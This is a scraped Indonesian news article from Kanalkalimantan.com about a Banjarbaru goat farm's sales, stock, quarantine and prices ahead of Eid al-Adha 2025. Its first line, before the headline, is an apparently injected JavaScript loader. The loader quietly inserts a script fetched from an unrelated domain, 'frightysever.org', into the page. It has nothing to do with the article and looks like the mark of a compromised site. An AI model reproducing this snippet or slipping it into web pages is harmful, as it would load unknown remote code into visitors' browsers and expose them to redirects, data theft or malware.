(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jelang Iduladha “Raja Kambing Farm” Stok 100 Ekor, Sudah Laku 30 Ekor


KANALKALIMANTAN.COM, BANJARBARU – Menjelang perayaan Hari Raya Iduladha 1446 Hijriah, geliat penjualan hewan kurban di Kota Banjarbaru, Kalimantan Selatan, mulai terasa.

Meski belum mengalami peningkatan penjualan signifikan, salah satu peternak kambing di Jalan Guntung Paring, Kelurahan Guntung Manggis, sudah menjual hingga 30 ekor sebulan sebelum Hari Raya Kurban.

Rahman, pemilik Raja Kambing Farm mengatakan, lonjakan pembelian hewan kurbaan akan terjadi pada seminggu sebelum pelaksanaan kurban.

“Per hari ini sudah 30 ekor yang terjual, nanti kalau sudah kurang lebih seminggu baru melonjak orang datang,” ujar pemilik Raja Kambing Farm di Jalan Guntung Paring, Kelurahan Guntung Manggis, Jumat (16/5/2025) pagi.

Baca juga: Disdik Kapuas Gelar Pisah Sambut Kadis dan Sekdis

Rahman, pemilik hewan ternak kurban. Foto: wanda

Rahman menyebutkan, di peternakan miliknya ini menyediakan stok hewan kurban mencapai 100 ekor.

Stok ini diakuinya mengalami penurunan dari tahun sebelumnya, karena terkendala pada pengiriman dari Pulau Jawa.

“Tahun kemarin laku sakitar 150-an ekor, saat ini siap stok 100 ekor, Insyaallah ada. Ternaknya ada yang diambil dari Jawa, cuma sekarang pengiriman terkendala, karena masih ada ditemukan penyakit-penyakit,” jelas dia.

Baca juga: City Branding dan Politik Harus Bertemu Berpisah di Persimpangan

Dalam pengiriman hewan kurban dari luar pulau, demi menghindari wabah Penyakit Mulut dan Kuku (PMK), pasokan hewan ternak yang disiapkan harus masuk karantina terlebih dahulu sebelum dikirim.

“Di karantina dulu sebelum berangkat ke sini, di sini pun di karantina. Kita harus ikuti prosedur, tapi ada juga ngambil dari wilayah Kalsel sendiri, seperti Pelaihari,” sebutnya.

Hewan-hewan ternak yang sudah ada di kandang milik Rahman ini diberikan sejumlah vitamin, termasuk bila terjadi masalah terhadap hewan segera dilakukan penyuntikan vaksin.

Rahman, pemilik hewan ternak kurban. Foto: wanda

Baca juga: Bupati Kapuas Lantik Dr Usis I Sangkai sebagai Pj Sekda

“Kalau di sini ada masalah saya suntik lagi, makanya kalau punya kambing seperti ini harus bisa nyuntik, dan ada juga pemberian vitamin-vitamin,” beber Rahman.

Harga satu hewan kurban di Raja Kambing Farm berkisar Rp2,75 juta hingga Rp3 juta untuk yang betina.

“Kalau jantan Rp3,5 juta minimal, mau potong di sini atau bawa pulang terserah, kami bisa kirim kalau orang ingin diantarkan,” pungkas Rahman. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

3 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

4 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

4 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

4 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

21 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

22 jam ago

This website uses cookies.